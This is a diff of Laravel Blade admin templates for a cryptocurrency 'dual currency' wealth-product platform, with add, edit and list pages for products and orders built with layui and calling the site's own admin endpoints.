<input type="datetime-local" name="end_time" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>总份额</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="total_number" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">限制份数</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="user_limit" autocomplete="off" placeholder="" class="layui-input" value="">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="saveDual_submit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
// var startTime =$('.start_timeinput').val();
|
||||
// var endTime =$('.end_timeinput').val();
|
||||
|
||||
// this.startTime = str_replace("T"," ",this.startTime);
|
||||
// this.endTime = str_replace("T"," ",this.endTime);
|
||||
// 表单提交
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(saveDual_submit)', function(data){
|
||||
var data = data.field;
|
||||
data.start_time=data.start_time.replace("T"," ")
|
||||
data.end_time=data.end_time.replace("T"," ")
|
||||
$.ajax({
|
||||
url:'{{url('/admin/dual/saveDual')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// layui.use(['form','laydate'],function () {
|
||||
// var form = layui.form
|
||||
// ,$ = layui.jquery
|
||||
// ,laydate = layui.laydate
|
||||
// ,index = parent.layer.getFrameIndex(window.name);
|
||||
// //监听提交
|
||||
// form.on('submit(demo1)', function(data){
|
||||
// var data = data.field;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/user/add')}}'
|
||||
// ,type:'post'
|
||||
// ,dataType:'json'
|
||||
// ,data : data
|
||||
// ,success:function(res){
|
||||
// if(res.type=='error'){
|
||||
// layer.msg(res.message);
|
||||
// }else{
|
||||
// parent.layer.close(index);
|
||||
// parent.window.location.reload();
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// return false;
|
||||
// });
|
||||
// });
|
||||
|
||||
getNowPrice();
|
||||
setInterval(()=>{
|
||||
getNowPrice()
|
||||
},5000)
|
||||
|
||||
//获取实时价格
|
||||
function getNowPrice(){
|
||||
const val = $("#currency option:selected").val()
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('/admin/dual/getnewprice')}}'
|
||||
,type:'get'
|
||||
,dataType:'json'
|
||||
,data : 'currency=' +val
|
||||
,success:function(res){
|
||||
const value = res.message.data[0]
|
||||
$("#nowPrice").val(value.price)
|
||||
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,120 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">理财名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" autocomplete="off" placeholder="" disabled="disabled" class="layui-input" value="{{$results->name}}">
|
||||
<input type="hidden" name="id" placeholder="" disabled="disabled" class="layui-input" value="{{$results->id}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">状态(可提前停止用户购买项目)</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status" lay-verify="required">
|
||||
<option value="0" {{ ($results->status) == 0 ? 'selected' : '' }} >结束</option>
|
||||
<option value="1" {{ ($results->status) == 1 ? 'selected' : '' }} >进行</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">年化收益率%</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" step="any" name="rate" autocomplete="off" placeholder="" class="layui-input" value="{{$results->rate}}" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">总份额</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="total_number" autocomplete="off" placeholder="" class="layui-input" value="{{$results->total_number}}" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">限制份数</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="user_limit" autocomplete="off" placeholder="" class="layui-input" value="{{$results->user_limit}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="saveDual_submit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(saveDual_submit)', function(data){
|
||||
var data = data.field;
|
||||
// data.start_time=data.start_time.replace("T"," ")
|
||||
// data.end_time=data.end_time.replace("T"," ")
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('/admin/dual/editDual')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='ok'){
|
||||
layer.msg('操作成功');
|
||||
}if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
layer.msg(res.message);
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
getNowPrice();
|
||||
setInterval(()=>{
|
||||
getNowPrice()
|
||||
},5000)
|
||||
|
||||
//获取实时价格
|
||||
function getNowPrice(){
|
||||
const val = $("#currency option:selected").val()
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('/admin/dual/getnewprice')}}'
|
||||
,type:'get'
|
||||
,dataType:'json'
|
||||
,data : 'currency=' +val
|
||||
,success:function(res){
|
||||
if (res.message.data.length) {
|
||||
const value = res.message.data[0]
|
||||
$("#nowPrice").val(value.price)
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,342 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
p.percent {
|
||||
text-align: right;
|
||||
margin-right: 10px;
|
||||
}
|
||||
p.percent::after {
|
||||
content: '%';
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-form">
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加双币项目','{{url('admin/dual/add')}}')">添加双币项目</button>
|
||||
|
||||
<!--搜索-->
|
||||
<div class="layui-inline">
|
||||
<!--<input name="user_id" type="hidden" value="{{Request::get('user_id')}}">-->
|
||||
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="status">
|
||||
<option value="">全部</option>
|
||||
<option value="1">进行中</option>
|
||||
<option value="0">已结束</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">币种</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="currency_id">
|
||||
<option value="">全部</option>
|
||||
<option value="1">BTC</option>
|
||||
<option value="2">ETH</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px">
|
||||
<button class="layui-btn" lay-submit lay-filter="submit">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script id="barOpe" type="text/html">
|
||||
<button class="layui-btn layui-btn-xs" lay-event="edit">编辑</button>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="statustml">
|
||||
@{{d.status==1 ? '<span class="layui-badge layui-bg-green">'+'进行中'+'</span>' : '' }}
|
||||
@{{d.status==0 ? '<span class="layui-badge layui-bg-red">'+'已结束'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
var demo = table.render({
|
||||
elem: '#demo'
|
||||
,toolbar: '#toolbar'
|
||||
,url: '{{url('admin/dual_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'id', minWidth:60, sort: true}
|
||||
,{field: 'name', title: '理财名称', minWidth:200}
|
||||
,{field: 'rate', title: '年化收益率%', minWidth: 115}
|
||||
,{field: 'exercise_price', title: '挂钩参考价', minWidth:100}
|
||||
,{field: 'start_time', title: '开始日期', minWidth:110}
|
||||
,{field: 'end_time', title: '到期日期', minWidth:110}
|
||||
,{field: 'total_number', title: '总份额', minWidth:80}
|
||||
,{field: 'remaining_number', title: '剩余份额', minWidth:90}
|
||||
,{field: 'purchased_number', title: '已售份额', minWidth:90}
|
||||
,{field: 'user_limit', title: '限制份数', minWidth:90}
|
||||
,{field: 'created', title: '创建时间', minWidth:110}
|
||||
,{field: 'status', title: '状态', minWidth:80, templet: '#statustml'}
|
||||
,{field: 'type', title: '类型', minWidth: 90}
|
||||
,{field: 'currency_name', title: '理财币种', minWidth: 90}
|
||||
,{fixed: 'right', title: '操作', toolbar: '#barOpe'}
|
||||
// ,{title:'操作',width:80,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
|
||||
// 监听工具条
|
||||
table.on('tool(test)', function (obj) {
|
||||
var layEvent = obj.event
|
||||
,data = obj.data
|
||||
if (layEvent === 'edit') {
|
||||
// layer.open({
|
||||
// type: 2
|
||||
// ,title: '编辑'
|
||||
// ,content: '/admin/dual/editDualView' + '?id=' + data.id
|
||||
// ,area: ['960px', '650px']
|
||||
// });
|
||||
var index = layer.open({
|
||||
title: '编辑'
|
||||
,type: 2
|
||||
,content: '{{url('/admin/dual/editDualView')}}?id=' + data.id
|
||||
,area: ['960px', '500px']
|
||||
});
|
||||
}
|
||||
|
||||
// if(obj.event === 'edit'){
|
||||
// layer_show('编辑双币项目','{{url('admin/dual/editDualView')}}?id='+data.id);
|
||||
// }
|
||||
});
|
||||
|
||||
// //监听提交
|
||||
// form.on('submit(mobile_search)', function(data){
|
||||
// var id = data.field.id;
|
||||
// table.reload('demo',{
|
||||
// where:{currency_id:id},
|
||||
// page: {curr: 1} //重新从第一页开始
|
||||
// });
|
||||
// return false;
|
||||
// });
|
||||
form.on('submit(submit)', function (data) {
|
||||
var option = {
|
||||
where: data.field
|
||||
}
|
||||
// console.log(21213231,option)
|
||||
demo.reload(option);
|
||||
});
|
||||
|
||||
// table.on('tool(test)', function(obj){
|
||||
// var data = obj.data;
|
||||
// if(obj.event === 'del'){
|
||||
// layer.confirm('真的删除行么', function(index){
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_del')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function (res) {
|
||||
// if(res.type == 'error'){
|
||||
// layer.msg(res.message);
|
||||
// }else{
|
||||
// obj.del();
|
||||
// layer.close(index);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
|
||||
|
||||
// });
|
||||
// } else if(obj.event === 'edit'){
|
||||
// layer_show('编辑币种','{{url('admin/currency_add')}}?id='+data.id);
|
||||
// } else if (obj.event == 'execute'){
|
||||
// layer.confirm('确定执行上币脚本?', function(index){
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_execute')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function (res) {
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// } else if (obj.event == 'match') {
|
||||
// layer.open({
|
||||
// title: '交易对管理'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/match/' + data.id
|
||||
// ,area: ['960px', '600px']
|
||||
// });
|
||||
// } else if(obj.event == 'deposit'){
|
||||
// layer.open({
|
||||
// title: '质押管理'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/deposit/' + data.id
|
||||
// ,area: ['960px', '600px']
|
||||
// });
|
||||
// }
|
||||
// });
|
||||
|
||||
// //监听是否显示操作
|
||||
// form.on('switch(isDisplay)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_display')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// //监听是否购买保险操作
|
||||
// form.on('switch(isInsurancable)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/is_insurancable')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
// //监听工具条
|
||||
// table.on('tool(adminList)', function(obj){ //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
// var data = obj.data; //获得当前行数据
|
||||
// var layEvent = obj.event; //获得 lay-event 对应的值(也可以是表头的 event 参数对应的值)
|
||||
// var tr = obj.tr; //获得当前行 tr 的DOM对象
|
||||
|
||||
// if(layEvent === 'del'){ //删除
|
||||
// layer.confirm('真的要删除吗?', function(index){
|
||||
// //向服务端发送删除指令
|
||||
// $.ajax({
|
||||
// url:'/admin/manager/delete',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function(res){
|
||||
// if(res.type=='ok'){
|
||||
// obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
// layer.msg(res.message);
|
||||
// layer.close(index);
|
||||
// }else{
|
||||
// layer.close(index);
|
||||
// layer.alert(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// } else if(layEvent === 'edit'){ //编辑
|
||||
// //do something
|
||||
// layer_show('修改管理员', '/admin/manager/add?id=' + data.id);
|
||||
|
||||
// }
|
||||
// });
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// //是否开启币币划转
|
||||
// form.on('switch(is_transfer)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/is_transfer')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
// table.on('toolbar(test)', function (obj) {
|
||||
// switch (obj.event) {
|
||||
// case 'add':
|
||||
// layer.open({
|
||||
// title: '添加币种'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency_add'
|
||||
// ,area: ['480px', '650px']
|
||||
// });
|
||||
// break;
|
||||
// default:
|
||||
// break;
|
||||
// }
|
||||
// });
|
||||
|
||||
// table.on('tool(test)', function(obj){
|
||||
// var data = obj.data;
|
||||
// if(obj.event === 'del'){
|
||||
// layer.confirm('真的删除行么', function(index){
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_del')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function (res) {
|
||||
// if(res.type == 'error'){
|
||||
// layer.msg(res.message);
|
||||
// }else{
|
||||
// obj.del();
|
||||
// layer.close(index);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
|
||||
|
||||
// });
|
||||
// } else if(obj.event === 'edit'){
|
||||
// layer_show('编辑币种','{{url('admin/currency_add')}}?id='+data.id);
|
||||
// } else if (obj.event == 'execute'){
|
||||
// layer.confirm('确定执行上币脚本?', function(index){
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_execute')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function (res) {
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// } else if (obj.event == 'match') {
|
||||
// layer.open({
|
||||
// title: '交易对管理'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/match/' + data.id
|
||||
// ,area: ['960px', '600px']
|
||||
// });
|
||||
// } else if(obj.event == 'deposit'){
|
||||
// layer.open({
|
||||
// title: '质押管理'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/deposit/' + data.id
|
||||
// ,area: ['960px', '600px']
|
||||
// });
|
||||
// }
|
||||
// });
|
||||
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,96 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
p.percent {
|
||||
text-align: right;
|
||||
margin-right: 10px;
|
||||
}
|
||||
p.percent::after {
|
||||
content: '%';
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-form">
|
||||
<!--<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加双币项目','{{url('admin/dual/add')}}')">添加双币项目</button>-->
|
||||
|
||||
<!--搜索-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="user_id" type="text" value="" placeholder="请输入用户ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">消耗币种</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="currency_id">
|
||||
<option value="">全部</option>
|
||||
<option value="1">BTC</option>
|
||||
<option value="2">ETH</option>
|
||||
<option value="3">USDT</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="search" lay-filter="search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<table id="orderList" lay-filter="test"></table>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
|
||||
<script type="text/html" id="statusCurreny">
|
||||
@{{d.currency_id==1 ? '<span class="">'+'BTC'+'</span>' : '' }}
|
||||
@{{d.currency_id==2 ? '<span class="">'+'ETH'+'</span>' : '' }}
|
||||
@{{d.currency_id==3 ? '<span class="">'+'USDT'+'</span>' : '' }}
|
||||
</script>
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
var orderList = table.render({
|
||||
elem: '#orderList'
|
||||
,toolbar: '#toolbar'
|
||||
,url: '{{url('admin/dual/order_lists')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
// ,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '订单ID', minWidth:110, sort: true}
|
||||
,{field: 'user_id', title: '用户ID', minWidth: 110}
|
||||
,{field: 'name', title: '理财名称', minWidth:200}
|
||||
,{field: 'order_rate', title: '年化利率', minWidth:110}
|
||||
,{field: 'day', title: '持仓期限', minWidth:200}
|
||||
,{field: 'number', title: '购买份数', minWidth:110}
|
||||
,{field: 'price', title: '购买时价格', minWidth:110}
|
||||
,{field: 'total', title: '总计', minWidth:110}
|
||||
,{field: 'currency_id', title: '购买消耗币种', minWidth:110, templet: '#statusCurreny'}
|
||||
,{field: 'created', title: '创建时间', minWidth:110}
|
||||
// ,{title:'操作',width:80,toolbar: '#barorderList'}
|
||||
]]
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(search)', function (data) {
|
||||
orderList.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user